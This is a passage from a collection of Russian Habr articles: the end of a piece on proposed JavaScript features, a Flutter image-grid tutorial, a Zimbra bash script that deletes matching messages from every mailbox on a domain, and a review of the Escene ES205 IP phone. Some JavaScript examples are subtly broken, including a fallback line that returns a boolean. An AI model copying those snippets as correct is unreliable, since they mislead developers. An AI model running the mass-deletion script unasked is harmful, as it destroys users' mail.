"./some-module.mjs"; const dynamic = import(computedModuleSpecifier); const data = fetch(url); export const output = process((await dynamic).default, await data); // usage.mjs import { output } from "./awaiting.mjs"; export function outputPlusValue(value) { return output + value } console.log(outputPlusValue(100)); setTimeout(() => console.log(outputPlusValue(100), 1000); ``` В файле `usage.mjs` всё остановится до тех пор, пока в `awaiting.js` не будут разрешены промисы. ### ▍Оператор ?? и проверка значений только на null и undefined Возможно, среди всех Stage 3-предложений, это — самое полезное. Нам часто приходится писать примерно такой код: ``` const obj = {    name: 'James' }; const name = obj.name || 'Jane'; // James ``` Если `obj.name` представлено неким ложным значением, тогда в `name` попадает строка `Jane`. В результате в `name` не окажется нечто вроде `undefined`. Но проблема заключается в том, что и пустая строка в этом случае будет воспринята как ложное значение. Если это учесть — данный код надо переписать так: ``` const name = (obj.name && obj.name !== '') || 'Jane'; ``` Неудобно постоянно так писать. Оператор `??` (два вопросительных знака) позволяет проверять значения только на `null` и `undefined`: ``` const response = {   settings: {     nullValue: null,     height: 400,     animationDuration: 0,     headerText: '',     showSplashScreen: false   } }; const undefinedValue = response.settings.undefinedValue ?? 'some other default'; // результат: 'some other default' const nullValue = response.settings.nullValue ?? 'some other default'; // результат: 'some other default' const headerText = response.settings.headerText ?? 'Hello, world!'; // результат: '' const animationDuration = response.settings.animationDuration ?? 300; // результат: 0 const showSplashScreen = response.settings.showSplashScreen ?? true; // результат: false ``` ### ▍Оператор ?. и опциональные цепочки Это предложение близко к только что рассмотренному, объединяющему проверки на `null` и `undefined`. Известно, что этой возможностью [интересуются](https://github.com/Microsoft/TypeScript/issues/16) пользователи в TypeScript. Рассмотрим пример: ``` const city = country && country.city;  // undefined если city не существует ``` Для того чтобы добраться до свойства `city` объекта `country`, нужно проверить существование объекта `country` и существование в нём свойства `city`. Благодаря использованию оператора `?.` (вопросительный знак и точка) этот код можно преобразовать так: ``` const city = country?.city; // undefined если city не существует ``` Эта возможность кажется полезной и в таких ситуациях: ``` import { fetch } from '../yourFetch.js'; (async () => {   const res = await fetch();   // res && res.data && res.data.cities || undefined   const cities = res?.data?.cities; })(); ``` ### ▍Метод Promise.any Метод `Promise.any` принимает итерируемый объект, содержащий promise-объекты, и возвращает промис, который успешно разрешается тогда, когда успешно разрешится хотя бы один из переданных ему promise-объектов. Если же все promise-объекты окажутся отклонёнными — он возвращает массив, содержащий сведения о причинах их отклонения. Вот как выглядит использование `Promise.any` с конструкцией async/await: ``` try {   const first = await Promise.any(promises);   // Любой из промисов был успешно разрешён. } catch (error) {   // Все промисы были отклонены. } ``` Вот — то же самое, реализованное с использованием промисов: ``` Promise.any(promises).then(   (first) => {     // Любой из промисов был успешно разрешён.   },   (error) => {     // Все промисы были отклонены.   } ); ``` В JavaScript уже имеются методы `Promise.all`, `.allSettled`, `.race`, а вот метода, подобного .`any`, не было. В результате перед нами — новая возможность, которая дополняет существующие и может оказаться полезной в определённых ситуациях. Несмотря на то, что это [предложение](https://github.com/tc39/proposal-promise-any) уже находится на третьей стадии согласования, оно, возможно, не попадёт в следующую редакцию стандарта ECMAScript так как нуждается в дополнительных испытаниях. Итоги ----- Существует множество интересных предложений по развитию JavaScript, находящихся на третьей стадии согласования. Интересно будет увидеть их в стандартах ES11 и ES12. Конечно, вряд ли кто-то будет пользоваться ими всеми, но некоторые из них, определённо, найдут широкое применение и будут способствовать росту качества JS-кода. **Уважаемые читатели!** Пользуетесь ли вы уже какими-нибудь возможностями JavaScript, которые почти готовы для включения их в следующую версию стандарта? [![](https://habrastorage.org/r/w1560/webt/-o/2e/tu/-o2etuqogwhmdnmysb9_vivc9v4.png)](https://ruvds.com/vps_start/) [![](https://habrastorage.org/r/w1560/files/1ba/550/d25/1ba550d25e8846ce8805de564da6aa63.png)](https://ruvds.com/ru-rub/#order)
https://habr.com/ru/post/475244/
null
ru
null
# Основы Flutter для начинающих (Часть VII) Большинство мобильных приложений содержат различные картинки. А как же без них? Картинки делают насыщенным и более понятным пользовательский интерфейс пользователя. Flutter имеет встроенную поддержку картинок. Наиболее часто используемым является класс Image, который мы и рассмотрим в данной статье. Ну что ж поехали! Наш план* [Часть 1](https://habr.com/en/post/560008/) - введение в разработку, первое приложение, понятие состояния; * [Часть 2](https://habr.com/en/post/560282/) - файл pubspec.yaml и использование flutter в командной строке; * [Часть 3](https://habr.com/en/post/560646/) - BottomNavigationBar и Navigator; * [Часть 4](https://habr.com/en/post/560806/)- MVC. Мы будем использовать именно этот паттерн, как один из самых простых; * [Часть 5](https://habr.com/en/post/560964/) - http пакет. Создание Repository класса, первые запросы, вывод списка постов; * [Часть 6](https://habr.com/en/post/561174/) - работа с формами, текстовые поля и создание поста. * Часть 7 (текущая статья) - работа с картинками, вывод картинок в виде сетки, получение картинок из сети, добавление своих в приложение; * [Часть 8](https://habr.com/en/post/562136/) - создание своей темы, добавление кастомных шрифтов и анимации; * [Часть 9](https://habr.com/en/post/562352/) - немного о тестировании; Добавление картинок в проект ---------------------------- Для начала попробуем добавить собственные картинки в проект. Будьте осторожнее: картинки добавленные в ваш проект увеличивают размер приложения, так что не переусердствуйте! Для добавления картинок нам нужно создать новую директорию `images` в корне проекта: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/ddb/522/834/ddb5228346f2759d2d632b52a23886ec.png)Затем нужно прописать директорию `images` в файле pubspec.yaml: ``` # блок зависимостей dependencies: flutter: sdk: flutter # ... # зависимости для разработки dev_dependencies: # ... # в данной секции вы можете подключить шрифты и assets файлы flutter: # указываем, что мы используем MaterialApp иконки и наше # приложение соответствует Material Design uses-material-design: true # прописываем директорию images # / указывает на то, что мы собираемся включить # все файлы которые будут в директории images assets: - images/ ``` Теперь добавим парочку изображений. Вы можете воспользоваться уже готовыми и взять их [из Github'а](https://github.com/KiberneticWorm/json_placeholder_app/tree/lesson_7_images/images): ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/332/670/420/3326704204b0157ed92e6d38e72075f7.png)Отредактируем нашу пустую страницу `AlbumListPage`: ``` import 'package:flutter/material.dart'; import 'package:flutter_staggered_grid_view/flutter_staggered_grid_view.dart'; class AlbumListPage extends StatefulWidget { @override _AlbumListPageState createState() => _AlbumListPageState(); } class _AlbumListPageState extends State { // указываем список наших изображений final fileImages = [ "applejack.png", "fluttershy.png", "rarity.png", "starlight\_glimmer.png", "twillight\_sparkle.png" ]; @override Widget build(BuildContext context) { return Scaffold( appBar: AppBar( title: Text("Album List Page"), ), body: \_buildContent() ); } // мы собираемся построить сетку из изображений Widget \_buildContent() { // ранее мы уже подключали пакет flutter\_staggered\_grid\_view // который содержит StaggeredGridView return StaggeredGridView.countBuilder( // количество изображений itemCount: fileImages.length, // crossAxisCount задает количество колонок // по которым будут выравнены изображения crossAxisCount: 8, // отступы по вертикали mainAxisSpacing: 10, // отступы по горизонтали crossAxisSpacing: 10, staggeredTileBuilder: (index) { // каждое изображение будет 4 колонки в ширину (первый параметр) // изображения на четных индексах будут в 2 раза меньше (второй параметр) return StaggeredTile.count(4, index % 2 == 0 ? 4 : 8); }, // строим изображение itemBuilder: (context, index) { return Container( decoration: BoxDecoration( border: Border.all(color: Colors.pinkAccent, width: 1) ), // Image.asset используется для отображения // изображений которые мы прописали в pubspec.yaml // помимо asset класс Image имеет другие методы child: Image.asset("images/${fileImages[index]}"), ); }, ); } } ``` Запускаем. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e5f/bbc/9aa/e5fbbc9aa0ab90d19f24d6ae26f21f1e.png)Вуаля! Получилось довольно забавно. Картинки из сети ---------------- Пришло время воспользоваться REST API для получения картинок. Возможно вы заметили, что наша страница называется `AlbumListPage. На самом деле мы не будем выводить список альбомов, а потом делать переключение между ними, зато это будет хорошей практикой для вас.` Мы сразу выведем все картинки. Для начала создадим модель `Photo`: ``` // данная модель очень похоже Post class Photo { final int _id; final String _title; final String _url; Photo.fromJson(Map json) : \_id = json["id"], \_title = json["title"], \_url = json["url"]; } class PhotoList { final List photos = []; PhotoList.fromJson(List jsonItems) { for (var jsonItem in jsonItems) { photos.add(Photo.fromJson(jsonItem)); } } } abstract class PhotoResult {} class PhotoResultSuccess extends PhotoResult { final PhotoList photoList; PhotoResultSuccess(this.photoList); } // произошла ошибка class PhotoResultFailure extends PhotoResult { final String error; PhotoResultFailure(this.error); } // загрузка данных class PhotoResultLoading extends PhotoResult { PhotoResultLoading(); } ``` Добавляем новый метод в `Repository`: ``` Future fetchPhotos() async { // сначала создаем URL, по которому // мы будем делать запрос final url = Uri.parse("$SERVER/photos"); // делаем GET запрос final response = await http.get(url); // проверяем статус ответа if (response.statusCode == 200) { // если все ок то возвращаем все картинки // json.decode парсит ответ return PhotoList.fromJson(json.decode(response.body)); } else { // в противном случае вызываем исключение throw Exception("failed request"); } } ``` Далее создаем новый контроллер `AlbumController`: ``` // AlbumController очень поход на PostController class AlbumController extends ControllerMVC { final Repository repo = Repository(); // текущее состояние PhotoResult currentState = PhotoResultLoading(); void init() async { try { // получение картинок final photoList = await repo.fetchPhotos(); // успешно setState(() => currentState = PhotoResultSuccess(photoList)); } catch (error) { // произошла ошибка setState(() => currentState = PhotoResultFailure("Нет интернета")); } } } ``` Осталось только внести соответствующие изменения в `AlbumListPage`: ``` class AlbumListPage extends StatefulWidget { @override _AlbumListPageState createState() => _AlbumListPageState(); } class _AlbumListPageState extends StateMVC { // добавляем наш контроллер // late указывает на отложенную инициализацию late AlbumController _controller; _AlbumListPageState() : super(AlbumController()){ _controller = controller as AlbumController; } @override void initState() { super.initState(); // получаем картинки из JSONPlaceholder _controller.init(); } @override Widget build(BuildContext context) { return Scaffold( appBar: AppBar( title: Text("Album List Page"), ), body: _buildContent() ); } Widget _buildContent() { // получение текущего состояния final state = _controller.currentState; if (state is PhotoResultLoading) { // загрузка return Center( child: CircularProgressIndicator(), ); } else if (state is PhotoResultFailure) { // ошибка return Center( child: Text( state.error, textAlign: TextAlign.center, style: Theme.of(context).textTheme.headline4!.copyWith(color: Colors.red) ), ); } else { final images = (state as PhotoResultSuccess).photoList.photos; // мы используем StaggeredGridView для построения // кастомной сетки из изображений return StaggeredGridView.countBuilder( // количество изображений itemCount: images.length, // crossAxisCount задает количество колонок // по которым будут выравнены изображения crossAxisCount: 8, // отступы по вертикали mainAxisSpacing: 10, // отступы по горизонтали crossAxisSpacing: 10, staggeredTileBuilder: (index) { // каждое изображение будет в ширину 4 колонки (первый параметр) // изображения на четных индексах будут в 2 раза меньше (второй параметр) return StaggeredTile.count(4, index % 2 == 0 ? 4 : 8); }, // строим изображение itemBuilder: (context, index) { return Container( decoration: BoxDecoration( border: Border.all(color: Colors.pinkAccent, width: 1) ), // мы используем метод Image.network для // отображения картинок из сети child: Image.network( images[index].url, // указываем максимальную ширину и высоту width: double.infinity, height: double.infinity, // указываем масштабирование изображения fit: BoxFit.cover, // при загрузки изображения // будет показан текст Loading... loadingBuilder: (context, widget, imageChunkEvent) { if (imageChunkEvent == null) { return widget; } return Center(child: Text("Loading...")); }, // при возникновении ошибки // вместо изображения будет текст Error! errorBuilder: (context, obj, stacktrace) => Center(child: Text("Error!")), ), ); }, ); } } } ``` Попробуем запустить. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9a3/b51/486/9a3b51486c7cf2194e4bd173bd2c72c4.png)Работает! Заключение ---------- Мы рассмотрели довольно базовые вещи, которые имеет Flutter для работы с картинками. `Image.network` не является панацеей и поэтому в боевых проектах лучше использовать специальные библиотеки с большей функциональностью. К одной из таких перспективных библиотек относится [cached\_network\_image](https://pub.dev/packages/cached_network_image) Это довольно простая библотека, которая берет на себя все технические моменты и сложности. Полезные ссылки: * [Ссылка на Github](https://github.com/KiberneticWorm/json_placeholder_app/tree/lesson_7_images) * [Image class](https://api.flutter.dev/flutter/widgets/Image-class.html) * [Adding assets and images](https://flutter.dev/docs/development/ui/assets-and-images) Всем хорошего кода!
https://habr.com/ru/post/561614/
null
ru
null
# Zimbra: удаление случайных или ненужных писем Тема, возможно, избита и не очень актуальна, если настроено автоматическое удаление писем по истечению определенного срока. Но если случается, что один сотрудник вместо того, чтобы отправить очень приватно-пикантное сообщение другому, отправляет его (сообщение) всему холдингу… Ждать день, когда стартанет автоматическая очистка — не вариант, а удалить надо сейчас и у всех. Под катом описание того, как это реализовано у меня. Покопавшись в сети, наткнулся на [сайт](http://www.ossportal.ru/technologies/zimbra/blogs/375#comment-form), где описан небольшой скрипт для удаления старой почты, он не плох, но не подходил для удаления писем в подпапках. Проблемы решал по-мере приближения к основной задаче. Для начала нужно найти все папки, в которые могло попасть письмо с подробностями вечера, для этого нам поможет zmmailbox (мощный и всеобъемлющий помошник). Вводим: ``` /opt/zimbra/bin/zmmailbox -z -m user@corp.org gaf # gaf - getAllFolders ``` В ответ получаем: ``` Id View Unread Msg Count Path ---------- ---- ---------- ---------- ---------- 1 unkn 0 0 / 16 docu 0 15 /Briefcase 10 appo 0 52 /Calendar 14 mess 0 1564 /Chats 7 cont 0 7 /Contacts 6 mess 0 56 /Drafts 13 cont 0 179 /Emailed Contacts 2 mess 0 5352 /Inbox 65450 mess 0 12433 /Inbox/до 1.04.2015 31907 mess 0 3125 /Inbox/Маркетинг 5993 mess 0 881 /Inbox/Юрики 4 mess 0 0 /Junk 5 mess 0 7527 /Sent 15 task 0 8 /Tasks 3 unkn 0 0 /Trash 1770 mess 7 7 /Trash/Тех. Поддержка (support@corp.org:703) 3741 docu 0 1 /Инструкция 87195 docu 0 1 /Коменты 1015 docu 0 12 /Личный 663 cont 0 1 /ОБЩАЯ АДРЕСНАЯ КНИГА 290 task 0 2 /Общедоступные 1100 mess 4404 22301 /Тех. Поддержка - Входящие (support@corp.org:2) ``` Как видим, у нас полным-полно всего. Столбец View нам предподоткрывает глаза и мы видим, что там типы папок. Нам нужны папки с сообщений — это mess. Зная что нам нужно, можем отфильтровать запрос: ``` /opt/zimbra/bin/zmmailbox -z -m user@corp.org gaf | grep mess ``` Вывод запроса: ``` Id View Unread Msg Count Path ---------- ---- ---------- ---------- ---------- 14 mess 0 1564 /Chats 6 mess 0 56 /Drafts 2 mess 0 5352 /Inbox 65450 mess 0 12433 /Inbox/до 1.04.2015 31907 mess 0 3125 /Inbox/Маркетинг 5993 mess 0 881 /Inbox/Юрики 4 mess 0 0 /Junk 5 mess 0 7527 /Sent 1770 mess 7 7 /Trash/Тех. Поддержка (support@corp.org:703) 1100 mess 4404 22301 /Тех. Поддержка - Входящие (support@corp.org:2) ``` Как видим, получаем уже более нужный список, но **1100 mess 4404 22301 /Тех. Поддержка — Входящие (support@corp.org:2)** — это расшаренная папка с другого ящика, а, следовательно, она будет проверена отдельно. Добавим еще одно исключение и сразу уберем все лишнее: типы, порядковые номера, уберем все до слеша (названия папок). ``` /opt/zimbra/bin/zmmailbox -z -m user@corp.org gaf | grep mess | cut -d"/" -f 2- | grep -v "@corp.org" ``` Получаем нужный список: > Chats > > Drafts > > Inbox > > Inbox/до 1.04.2015 > > Inbox/Маркетинг > > Inbox/Юрики > > Junk > > Sent > > Вывод команды перенаправляю в файл, для небольшого и редкого удобства, и уже из файла скрипт будет брать названия папок. Итак, самое сложное — это не столько заглядывать в папки, сколько заглядывать в папки, имена которых содержат пробелы или спецсимволы. Если ввести в консоли: ``` /opt/zimbra/bin/zmmailbox -z -m user@corp.org s -l 300 in:Inbox/Папка | grep `date -d '-5 day' +%m/%d/%y` | grep "Вечеринка" | sed -e "s/^\s\s*//" | sed -e "s/\s\s*/ /g" ``` Выводит темы писем 5-ти дневной давности. Вместо **date -d '-5 day' +%m/%d/%y** можно сразу писать даты в фомате **01/27/16** или меняя **-5** на другое значение, в зависимости от того, на сколько дней назад надо откатиться. Но если ввести: ``` /opt/zimbra/bin/zmmailbox -z -m user@corp.org s -l 300 in:Inbox/Папка Секретов | grep `date -d '-5 day' +%m/%d/%y` | grep "Вечеринка" | sed -e "s/^\s\s*//" | sed -e "s/\s\s*/ /g" ``` То вывалится ошибка: ``` ERROR: mail.NO_SUCH_FOLDER (no such folder path: /Inbox/Папка\) ``` И хоть обвставляйся кавычками, апострофами и экранами — не поможет. [Тут](http://ru.stackoverflow.com/questions/487858/zmmailbox-%D0%BF%D0%BE%D0%B8%D1%81%D0%BA-%D0%BA%D0%B0%D1%82%D0%B0%D0%BB%D0%BE%D0%B3%D0%BE%D0%B2-%D1%81%D0%BE%D0%B4%D0%B5%D1%80%D0%B6%D0%B0%D1%89%D0%B8%D1%85-%D0%BF%D1%80%D0%BE%D0%B1%D0%B5%D0%BB%D1%8B-%D0%B2-%D0%B8%D0%BC%D0%B5%D0%BD%D0%B8) мне указали на [вики](https://wiki.zimbra.com/wiki/Ajcody-User-Management-Topics#Special_Note_If_Your_Search_String_Needs_Spaces), в которой нашел ответ на вопрос. Для решения проблемы нужно поместить в определенные блоки имя папки с пробелами. **"\"** — вот блоко-тег. ``` /opt/zimbra/bin/zmmailbox -z -m user@corp.org s -l 300 in:"\"Inbox/Папка Секретов"\" ``` Выполнив это в консоли, получил требуемый результат, но моя задача состояла все скриптозовать. И в моем скрипте переменная, содержащая название папки, брала данные из файла. ``` /opt/zimbra/bin/zmmailbox -z -m user@corp.org gaf | grep mess | cut -d"/" -f 2- | grep -v "@corp.org" > /tmp/messfolder.list ``` И при вставлении переменной в мой код: ``` /opt/zimbra/bin/zmmailbox -z -m $i s -l 300 in:"\"$p"\" | grep `date -d '-5 day' +%m/%d/%y` | grep "Вечеринка" | sed -e "s/^\s\s*//" | sed -e "s/\s\s*/ /g" | ``` У меня вываливалась таже ошибка: ``` ERROR: mail.NO_SUCH_FOLDER (no such folder path: /Inbox/Папка\) ``` Хотя переменная и помещена в нужные блоко-теги. Поискав еще немного, ~~вспомнил~~ наткнулся на переменную разделителя поля IFS. Задал ему значение IFS=$'\n' и запустил скрипт — все пошло как и планировалось. **Вот привожу весь скрипт с описаниями** ``` #!/bin/bash DOMAIN_NAME="corp.org" # Тут домен EMAIL=/tmp/email.list # Это список всем ящиков MESID=/tmp/mesid.list # это ID писем для удаления DELTEXT='вечеринка' # Слово в теме письма или сама тема письма IFS=$'\n' # Переменная отвечающая за разделитель поля before="$(date +%s)" # Время запуска скрипта t=0 # Переменная, для подсчета удаленных писем /opt/zimbra/bin/zmprov -l gaa $DOMAIN_NAME | sort > $EMAIL # Собираем список ящиков # Ну и циклом их перебираем for i in $(cat $EMAIL); do echo $i # Тут мы получаем список всех папок, отсеим папки которые расшаренные, так как они и так будут пройдены и исключаем папки, которые не почтовые - это Портфель, и Контакты и прочие, не mess /opt/zimbra/bin/zmmailbox -z -m $i gaf | grep mess | cut -d"/" -f 2- | grep -v "@corp.org" > /tmp/messfolder.list # Теперь циклом проходим по списку и получаем название папки, затем всталяем в запрос и получаем id сообщения для удаления. И так проделываем с каждой папкой. for p in $(cat /tmp/messfolder.list); do echo $p # Тут все просто: до первого grep мы выводим сообщения из ящика, grep фильтрует по дате, второй grep по теме, затем sed'ы убирают лишние пробелы и cut вырезает остаток и получаем чистый, фильтрованный номер сообщения. /opt/zimbra/bin/zmmailbox -z -m $i s -l 300 in:"\"$p"\" | grep `date -d '-5 day' +%m/%d/%y` | grep "$DELTEXT" | sed -e "s/^\s\s*//" | sed -e "s/\s\s*/ /g" | cut -d" " -f2 > $MESID # Выводим номер сообщения и считаем кол-во сообщений. cat $MESID count=`grep '' $MESID -c` let t=$t+$count for a in $(cat $MESID | grep ^- | sed s/-//g ) do /opt/zimbra/bin/zmmailbox -z -m $i deleteMessage $a done for a in $(cat $MESID | sed /-/d) do /opt/zimbra/bin/zmmailbox -z -m $i deleteConversation $a done echo -n > $MESID RES=$? if [ "$RES" == "0" ]; then echo "[Ok]"; else echo "[Err]"; fi done echo "Найдено писем: "$t done after="$(date +%s)" elapsed="$(expr $after - $before)" hours=$(($elapsed / 3600)) elapsed=$(($elapsed - $hours * 3600)) minutes=$(($elapsed / 60)) seconds=$(($elapsed - $minutes * 60)) echo "Скрипт выполнялся: $hours часов $minutes минут $seconds секунд" echo "Всего удалено: "$t" писем" ``` Конечно, скрипт можно еще доработать: убрать ненужные папки, вводить дату и тему заранее, но это уже не так принципиально. Этот скрипт повесил на самодельную веб-админку и все даты и темы для удаления ввожу из нее, все ж удобнее. Кто-то посчитает, что это лишнее, и такой скрипт излишен, но как показала практика — он спас как минимум 10 человек и пару начальников. Им хорошо, и админу после того, как им стало хорошо, тоже стало хорошо. У этого скрипта есть один минус — это время. Данный скрипт пробегает по всем папкам 700 пользователей за 4 часа. Пока что не выявлял где можно выиграть время, но если подскажите или укажите на ошибки — буду благодарен. Спасибо за прочтение и коментарии.
https://habr.com/ru/post/277117/
null
ru
null
# Обзор компактного IP телефона Escene ES205 [![](https://habrastorage.org/r/w1560/getpro/habr/post_images/0bd/79f/0b8/0bd79f0b8d1fa0ab16f2d62320a78b3c.png)](http://habrahabr.ru/company/digitalangel/blog/266951/) Рост курса и, как следствие, увеличение стоимости оборудования существенно сокращает число моделей IP телефонов, которые могут быть использованы в проектах. С другой стороны, компании не готовы отказываться от привычного уровня качества корпоративных телефонов. **В ответ на многочисленные просьбы партнеров компания Escene запускает продажи новых бюджетных IP телефонов, с самой привлекательной ценой в корпоративной линейке ES.** Компактный офисный телефон ES205, сохранил качественные особенности корпоративной линейки (литая трубка, отдельные пластиковые круглые кнопки, подставка) за меньшие деньги, чем у более старших моделей. Телефон выполнен в строгом и элегантном стиле, изготовлен из материалов высокого качества, имеет большой четкий экран, две независимых линии, интуитивно понятный интерфейс на русском языке, большой набор функций, два порта Ethernet и питание по PoE (опционально), а также поддерживает передачу голоса в HD качестве. Аппарат представлен двумя моделями: **Escene ES205-PN** с поддержкой PoE (питание через Ethernet) и **Escene ES205-N** (без поддержки PoE — комплектуется блоком питания Escence AD200). Для модели с PoE блок питания в комплект не входит, но при необходимости его можно приобрести отдельно.  **Положительные особенности** * Компактный дизайн, размеры корпуса всего 21,3x15,7x3,9 сантиметра. * Высокое качество материалов корпуса. * Большой и четкий графический экран. * Высокая эргономичность. * Двухпозиционная подставка. * 4 контекстных кнопки * Простота настройки за счет понятного интерфейса. * Русифицированные web-интерфейс и экранное меню. * Возможность полностью настроить телефон при помощи экрана и кнопок, включая учетные записи SIP. * Возможность адаптации телефона для работы с SIP-совместимым оборудованием. * Функциональности больше, чем поддерживают большинство IP-АТС и операторов связи в настоящий момент. **Функциональные возможности** * Прямое подключение по SIP к Виртуальным IP АТС (например, Broadworks, МФИ РТУ, Metaswitch, Alcatel-Lucent) и к офисным IP АТС (например, Asterisk, 3CX IP PBX, Avaya IP Office, Huawei). * Два порта Ethernet (PC/LAN) с поддержкой VLAN и возможностью работать в режиме коммутации или маршрутизации. * Простота установки и эксплуатации, возможность расширенной настройки (включая функции SIP и ДВО) через экранное меню или через web-интерфейс. * Поддержка двух одновременных вызовов на двух независимых учетных записях SIP. * Полнодуплексная громкая связь, определитель номера, удержание вызова, перевод и переадресация вызова, а также и другие дополнительные функции. * Поддержка звука высокой четкости Voice HD (кодек G.722). * Встроенный VPN-клиент. * Шифрование сигнального SIPS и медиа SRTP трафика. * Поддержка корпоративной записной книжки по протоколу LDAP или XML или личной записной книги. * Русифицированное экранное меню и web-интерфейс телефона. * Автонастройка по протоколам HTTP/TFTP/FTP, TR069 Технические характеристики -------------------------- **VoIP** * RFC 3261 стандарт SIP-сервер, Asterisk, Avaya, Cisco, Broadsoft, РТУ МФИ, 3CX IP PBX, Panasonic SIP-АТС, Huawei, Metaswitch, Alcatel-Lucent, Yeastar и другие. * Шифрование сигнального трафика SIPS и медиа трафика SRTP. * Аудио кодеки: G.711 u/a, G.722(HD Voice), G.729a, G.723. * DTMF: In-Band, RFC2833, SIP Info, Auto * QoS: TOS, Jiffer Buffer, VAD, CNG, G.168 (32ms). * Поддержка DNS SRV. * Две учетных записи SIP с возможностью регистрации на двух независимых SIP серверах и возможностью автоматического переключения в случае потери регистрации. * Два одновременных вызова на телефон с любой из двух учетных записей SIP. **Передача данных** * 2\*RJ45 10/100M Ethernet интерфейсы (LAN/PC) * Режимы мост/маршрутизатор PC-порт * Поддержка VLAN QoS (802.1pq)/QoS. * IP адресация: DHCP клиент или назначение статического IP. * NAT Traversal: STUN mode * Встроенный VPN-клиент L2TP или OpenVPN (SSL VPN). * Сетевые протоколы HTTP, BOOTP, FTP, TFTP, IEEE 802.1Q, IEEE 802.1X. **Физические параметры** * Монохромный LCD экран без подсветки размером 128\*64 символов. * Индикатор статуса линии (двухцветный LED). * Полнодуплексный динамик и микрофон громкой связи(Full-duplex). * Две кнопки выбора линии 1 и линии 2 со световой индикацией состояния линии. * Кнопки для регулировки громкости телефона/вызывного сигнала. * 4 многофункциональные кнопки под экраном. * 5 навигационных многофункциональных кнопок (4 навигационные кнопки и кнопка удаления символа «C»). * Кнопка повторный набор. * Кнопка «Громкая связь» со световой индикацией. * Кнопка «Отключить микрофон». * Разъем для подключения трубки RJ9. **Дополнительные виды обслуживания (дополнительные функции)** * Ожидание второго вызова, очереди (если поддерживает IP АТС), перевод вызова, переадресация вызова, удержание вызова, перехват вызова, обратный вызов, повтор вызова, автоответ. * Быстрый набор номера, кнопка начала записи разговора по стар-коду (если поддерживает IP АТС). * Многосторонняя конференция (если поддерживает IP АТС), 3х-сторонняя конференция на телефоне. * Не беспокоить (DND). * Голосовая почта (если функция поддерживается IP АТС). * Личная записная книга, корпоративная записная книга (LDAP или XML). **Управление** * Обновление по протоколам: FTP/HTTPS/HTTP/TFTP/PnP авто-настройка (PnP auto-provision). * Конфигурирование: через экранное меню телефона/web-интерфейс/авто-настройка (auto-provision) * SNMP V1/2, TR069 * Отладка: telnet/экран телефона/web-интерфейс. **Питание** * Адаптер модель AD200 (AV 220/110 Вольт, выходное DC 5 Вольт/1 A). * LAN порт питание Power Over Ethernet (802.3af,class 0) для **ES205-PN** * Потребляемая мощность 1.5 Вт Комплект поставки, внешний вид и упаковка ----------------------------------------- **Упаковка** Телефон поставляется в картонной коробке, на боковой стороне упаковки есть наклейка с номером модели и штрих-кодом устройства. Внутри телефон аккуратно упакован, в коробке нет ничего лишнего. Очевидно, такая комплектация уменьшает стоимость телефона. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/55f/fb7/fce/55ffb7fce79246e9ec3228839703c4bd.jpg) *Упаковка* **Комплект поставки телефона** * Телефонный аппарат. * Телефонная трубка. * Шнур телефонной трубки. * Патч-корд RJ45 для подключения к сети. * Инструкция и гарантийный талон. * Блок питания **Escence AD200** **(для модели ES205-N)**. В комплекте поставки для модели **Escene ES205-PN** отсутствует блок питания **Escence AD200** (на 5 вольт), его нужно заказывать отдельно. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/a2a/48e/a22/a2a48ea22d411b11356ef7131c5a4c55.jpg) *Комплектация телефона* **Фронтальная панель и аппаратные кнопки** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/130/901/e1f/130901e1f19bc855804cff161a552ba4.jpg) Кнопок на телефоне меньше чем на старших моделях, но это не чуть не мешает в его настройке и в использовании. Такое ощущение, что больше кнопок и не нужно. Условно можно выделить три блока кнопок: **1. Многофункциональные кнопки** – это четыре программные кнопки под экраном телефона, каждая из многофункциональных кнопок отображает функцию активную в данный момент, например, «Новый вызов», закончить вызов, «Не беспокоить», «Перевод вызова» и другие. При перемещении по меню эти кнопки также используются для навигации, например, «Назад», «Ввод» и другие, кроме того в блоке есть две кнопки навигации «Вверх» и «Вниз» и многофункциональная кнопка удаления символа «С». **2. Кнопки управления линиями** — телефон имеет две независимые учетные записи SIP (две SIP линии). По умолчанию исходящие вызовы устанавливаются с линии 1, если конечно она настроена, при необходимости совершить вызов с линии 2, нужно нажать на кнопку линии, затем набрать номер — телефон отправит вызов через вторую учетную запись SIP.  Телефон может принять два одновременных вызова. Кнопки «Line 1» и «Line 2» есть световая индикации, при поступлении вызова, мигает диод той линии, на которую поступает вызов. Если линяя занята, кнопка линии горит красным цветом, если мигает, значит пришел входящий вызов. Если линия горит зеленым цветом – на линии активный вызов, если мигает – вызов удерживается на линии. **3. Сервисные кнопки** — кнопка повторного набора «Redial», две кнопки для регулировки громкости и кнопка включения громкой связи. **Задняя панель телефона** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/055/d48/bd7/055d48bd7b030a63d9abe36f0ed84d51.jpg) На задней панели телефона стандартная наклейка с артикулом модели, серийным номером и MAC-адресом. Если для удобства необходимо вывести в верхнюю часть телефона провода телефонной трубки или провода электропитания, их можно уложить по корпусу телефона, для этого на панели расположены две канавки. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/f1f/cf8/39d/f1fcf839d4a57d0c597c9f2abf655d1b.jpg) *Установка подставки* Подставка телефона устанавливается очень просто – нужно совместить нижние направляющие подставки с пазами в корпусе телефона, затем опираясь на нижние направляющие поднимать подставку против часовой стрелки до щелчка. Как видно из изображения, подставку можно закрепить в двух положениях. **Интерфейсы и разъёмы телефона** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/e5a/bf0/872/e5abf08725cf9882a1ae9c3269a5f8c9.jpg) На первой фотографии показан блок интерфейсов. Для питания от сети переменного тока при помощи адаптера питания, на панели есть гнездо на 5 Вольт, разъём для подключения трубки с гнездом RJ9. Два интерфейса Ethernet — PC для подключения телефона к компьютеру и LAN для подключения к локальной сети и питания по PoE. Ниже на изображении вид задней панели с подключенными проводами, я не стал их убирать. Провода не мешают телефон стоит ровно на столе и не двигается во время набора номера, разговора и прочих действий. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/b2e/6f2/eec/b2e6f2eec8cb8967028002bf3f2f59b1.jpg) *Задняя панель с подключенными проводами* **Вид телефона на столе** Так телефон выглядит в сборе, пластик высокого качества, подсветка экрана отсутствует, но контрастность текста и экрана достаточно яркие. Когда телефон 